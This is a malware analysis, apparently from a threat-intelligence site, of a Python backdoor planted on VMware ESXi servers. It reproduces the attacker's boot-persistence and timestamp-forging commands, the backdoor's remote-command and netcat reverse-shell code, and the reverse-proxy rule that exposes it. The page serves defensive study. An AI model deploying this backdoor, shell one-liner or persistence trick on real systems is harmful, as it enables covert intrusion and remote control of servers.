A Custom Python Backdoor for VMWare ESXi Servers

Foothold and Persistence
ESXi is a virtualization platform with a lightweight UNIX-like host operating system and the capability to run many virtual machines simultaneously. While the virtual disk images for these VMs are stored on the ESXi’s physical disks, the system files for the host OS are stored in RAM and changes are discarded on a reboot.
Only a few specific system files are automatically backed up and restored on a reboot. Among these is /etc/rc.local.d/local.sh, which is executed at startup. By default, this file is empty other than comments explaining and discouraging its use. In the case of the compromised machine Operatives analyzed, the attacker had added the following code:

/bin/mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1
/bin/cat <> /bin/hostd-probe.sh
/bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1&
LOCAL2
/bin/cat /bin/hostd-probe.sh.1 >> /bin/hostd-probe.sh
/bin/chmod 755 /bin/hostd-probe.sh
/bin/rm /bin/hostd-probe.sh.1
/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /bin/hostd-probe.sh
The first 7 lines prepend, in a convoluted fashion, a single line of code to /bin/hostd-probe.sh, a system file that is executed automatically when the system boots.
This line of code launches a Python script:

/bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1&
The touch command in the final line of code resets the modification and access timestamps of /bin/hostd-probe.sh to those of a preinstalled system file, making it appear as though /bin/hostd-probe.sh had not been modified since the system software was installed or last updated.

There are a total of 4 files installed or modified in this attack:

/etc/rc.local.d/local.sh: stored in RAM, but changes are backed up and restored on reboot
/bin/hostd-probe.sh: changes are stored in RAM and reapplied after a reboot
/store/packages/vmtools.py: saved to the persistent disk stores used for VM disk images, logs, etc.
/etc/vmware/rhttpproxy/endpoints.conf: changes are stored in RAM and reapplied after a reboot
Python Backdoor
While the Python script used in this attack is cross-platform and can be used with little or no modification on Linux or other UNIX-like systems, there are several indications that this attack was designed specifically to target ESXi. The name of the file and its location, /store/packages/vmtools.py, was chosen to raise little suspicion on a virtualization host. The file begins with a VMware copyright consistent with publicly available examples and is taken character-for-character from an existing Python file provided by VMware.

#!/bin/python
“””
Copyright 2011 – 2014 VMware, Inc. All rights reserved.

This module starts debug tools
“””

from http.server import BaseHTTPRequestHandler, HTTPServer
The Python script launches a simple webserver that accepts password-protected POST requests and can be used in two ways: it can run arbitrary remote commands and display the results as a webpage, or it can launch a reverse shell to the host and port of the attacker’s choice. This server binds to port 8008 on the local IP address 127.0.0.1 and accepts 5 misleadingly named parameters:

server_namespace: password protecting the backdoor from unintended use
server_instance: either “local” (run commands directly) or “remote” (reverse shell)
operation_id: command to execute (“local” only)
envelope and path_set: host and port, respectively, for the reverse shell (“remote” only)
The server first checks the MD5 hash of the provided password against a hard-coded value. If this succeeds, the execution path splits based on the value of server_instance. If the provided value is “local”, the server executes the value of operation_id as a base64-encoded command and writes the output to the browser:

if action is None or action == ‘local’:
encoded_cmd = form.getvalue(‘operation_id’)
if encoded_cmd is not None:
try:
cmd = str(base64.b64decode(encoded_cmd), “utf-8”)
except binascii.Error:
return
self.wfile.write(os.popen(cmd).read().encode())
If the value of server_instance is “remote”, the webserver launches a reverse shell to the host and port provided in envelope and path_set, respectively.

if action == ‘remote’:
host = form.getvalue(‘envelope’)
if host is not None:
port = form.getvalue(‘path_set’)
if port is None:
port = ‘427’

cmd = ‘mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc %s %s > /tmp/tmpy_8th_nb’ % (host, port)
subprocess.Popen(cmd, shell=True)
A reverse shell is a terminal session on the compromised machine but is “reversed” in that the network connection originates on the compromised machine.

This contrasts with an ordinary remote terminal session like ssh, where an external user initiates the connection to a target machine in order to run shell commands. Using a reverse shell can bypass firewall restrictions and works even when the compromised machine is not directly accessible from the internet.

The reverse shell command is taken from a reverse shell one-liners cheat sheet:

mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc /tmp/tmpy_8th_nb
The sequence of piped commands is somewhat more complicated than the most common reverse shell invocations and is needed to work around limitations in the netcat version available on ESXi. Note that if no port number is supplied in the POST request, the default port used is 427. This is the standard service port for OpenSLP, the vulnerable service most likely exploited to gain access to the ESXi server and is another indication that this attack was crafted with ESXi targets in mind.

Reverse Proxy
Analysts previously noted that the malicious Python webserver binds to a 127.0.0.1, the “home” IP address that is only accessible from within the compromised machine. In order to allow remote access, the hackers changed the configuration of the ESXi reverse HTTP proxy. The configuration file, /etc/vmware/rhttpproxy/endpoints.conf, contains a number of mappings from pathnames to network ports, such as:

/sdk local 8307 redirect allow
This line instructs the reverse proxy to forward to port 8307 any external requests to https://<server_url/sdk/*. The attackers appended the following line to endpoints.conf, allowing external access to the malicious webserver:

/ local 8008 allow allow
Because /etc/vmware/rhttpproxy/endpoints.conf is also among the system files that are backed up and restored automatically, this reverse proxy configuration is persistent.

Sign Up For Threat Alerts

Loading...
Threats Icon

Jul 04, 2023

Rhysida Ransomware RaaS Crawls Out of Crimeware...

The Rhysida ransomware-as-a-service (RaaS) group has gone from a dubious newcomer to a fully-fledged ransomware...

Threats Icon

Jun 26, 2023

Operation Magalenha – Long-Running Campaign Pursues Portuguese...

The attackers can steal credentials and exfiltrate users' data and personal information, which can be...

Threats Icon

Apr 24, 2023

Lazarus Group Adds Linux Malware to Arsenal...

Researchers have discovered a new campaign conducted by Lazarus, known as "Operation DreamJob," which targets...

Threats Icon

Apr 23, 2023

Additional IOCs for 3cx breach

Recently an unexpected malicious activity emanating from a legitimate, signed binary, 3CXDesktopApp was observed.

Threats Icon

Apr 23, 2023

Ex-Conti and FIN7 Actors Collaborate with New...

IBM Security X-Force recently discovered a new malware family Analysts have called "Domino," which Analysts...

Threats Icon

Apr 20, 2023

AuKill EDR killer malware abuses Process Explorer...

The AuKill tool abuses an outdated version of the driver used by version 16.32 of...

Threats Icon

Apr 20, 2023

Fake Chrome updates spread malware

A campaign running since the end of last year is using hacked sites to push...

Threats Icon

Apr 20, 2023

QBot using new attack vector in its...

QBot, also known as QakBot, previously operated as a banking trojan and has since transformed...

Threats Icon

Apr 20, 2023

CrossLock Ransomware Emerges: New Golang – Based...

The CrossLock ransomware employs the double extortion technique to increase the likelihood of payment from...

Threats Icon

Apr 20, 2023

Windows Zero-Day Vulnerability CVE-2023-28252 Exploited by Nokoyawa...

A zero-day vulnerability in the Microsoft Windows system, which also affects Windows 11, has been...

Threats Icon

Apr 18, 2023

Additional IOcs for 3cx breach

Recently an unexpected malicious activity emanating from a legitimate, signed binary, 3CXDesktopApp was observed. As...

Threats Icon

Apr 18, 2023

Additional IOcs for 3cx breach

Recently an unexpected malicious activity emanating from a legitimate, signed binary, 3CXDesktopApp was observed. As...

Threats Icon

Apr 18, 2023

APT36 Expands Interest Within Indian Education Sector

Symantec described UPS in 2016 report as Buckeye (also known as APT3 Gothic Panda UPS...

Threats Icon

Apr 17, 2023

ChinaZ DDoS Bot Malware Distributed To Linux...

The ChinaZ DDoS bot malware was discovered targeting Linux systems while a version for Microsoft...

Threats Icon

Apr 16, 2023

Resurgence Of The Mexals Cryptojacking Campaign

The Mexals crypto jacking campaign has been in operation since at least 2021 and continues...